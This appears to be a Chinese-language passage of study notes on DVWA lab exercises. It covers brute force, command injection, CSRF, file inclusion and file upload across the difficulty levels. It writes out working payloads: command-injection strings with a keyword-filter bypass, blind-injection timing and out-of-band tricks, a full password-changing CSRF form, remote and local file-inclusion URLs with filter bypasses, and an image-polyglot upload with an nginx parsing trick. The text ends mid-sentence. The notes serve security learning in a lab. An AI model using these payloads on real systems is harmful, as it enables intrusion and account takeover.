暴力破解(Brute Force)
演练
low/medium:burpsuite方法重放穷举
high:python脚本构造数据包过token
impossible: noway
命令注入(Command injection)
命令注入流程
1.是否调用命令?
2.函数或函数的参数是否可控
3.是否拼接注入命令
演练
low: 127.0.0.1&&net user
medium: 127.0.0.1&net user
high:127.0.0.1 | net user
impossible: noway
小结
A&B 简单的拼接,AB之间无制约关系
A&&B A执行成功才会执行B
A|B A的输出作为B的输入
A||B A执行失败才会执行B
扩展
如果过滤了敏感命令,有如下技巧
whoami
who""ami
who""am""i
如果不显示输出结果
1.延时注入
Windows: ping 127.0.0.1 -n 5 > nul
Linux: sleep 5
2.远程请求
Windows: ping, telnet等
Linux: wget, curl, nslookup等
CSRF(Cross-site request forgery)
演练
low:
构造csrf.html
文件如下,Client只要执行此页面,则密码会被修改。
注:为了显示效果写了一个按钮,hacker一般会写在脚本里。
<html>
<body>
<form action="http://192.168.28.128/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="hacker" />
<input type="hidden" name="password_conf" value="hacker" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Click Me" />
</form>
</body>
</html>
medium:
增加了referer验证。
两种方式绕过:
1.只要修改referer为http://ip/dvwa/vulnerabilities/csrf/
即可。
2.深入研究发现,只要referer中包含请求ip即可,则将前面csrf.html
放入目录名为该ip的目录下即可。
high:
增加了user_token,除非和XSS漏洞配合使用,别无他法。
漏洞修复
可增加旧密码
来验证。
文件包含(File Inclusion)
演练
low:
远程文件执行:可直接执行代码。http://192.168.28.128/dvwa/vulnerabilities/fi/?page=http://192.168.28.128/phpinfo.txt
以下是php代码:
<?php
phpinfo();
?>
medium:
本地方法读取: low方法失效,服务端过滤了../
字符,但是还可以使用..\
的方式来 继续本地读取。
远程文件执行由于http://
被过滤,所以构造httphttp://://192.168.28.128/phpinfo.txt
。
high:
本地方法读取:进一步研究发现,file字符并未被过滤,可使用file协议
file协议:文件传输协议,访问本地计算机中的文件
所以构造:http://192.168.28.128/dvwa/vulnerabilities/fi/
即可。
?page=file:///C:/window/win.ini
**远程文件执行:**file字符串并未被过滤,可结合文件上传漏洞来使用。
漏洞修复
可采取白名单的方式来防止绕过。
文件上传(File Upload)
演练
low:文件上传无限制,直接上传即可。
medium:
抓包分析,发现Content-Type:
类型被限制,则抓包改为image/jpeg,成功绕过
high:
文件包含漏洞:尝试了php后缀名php内容
php后缀名img内容
img后缀名和php内容
这三种都失败。可以制作内涵图
进行绕过。
//windows的cmd下
copy 1.jpg/b+1.txt/a 2.jpg
//生成了2.jpg
成功上传2.jpg
**nginx解析漏洞:**nginx环境,配置php.ini
下的cgi.fix_pathinfo=1
这样即存在畸形解析。则2.jpg/2.php
成功执行。
impossible:
原理:文件重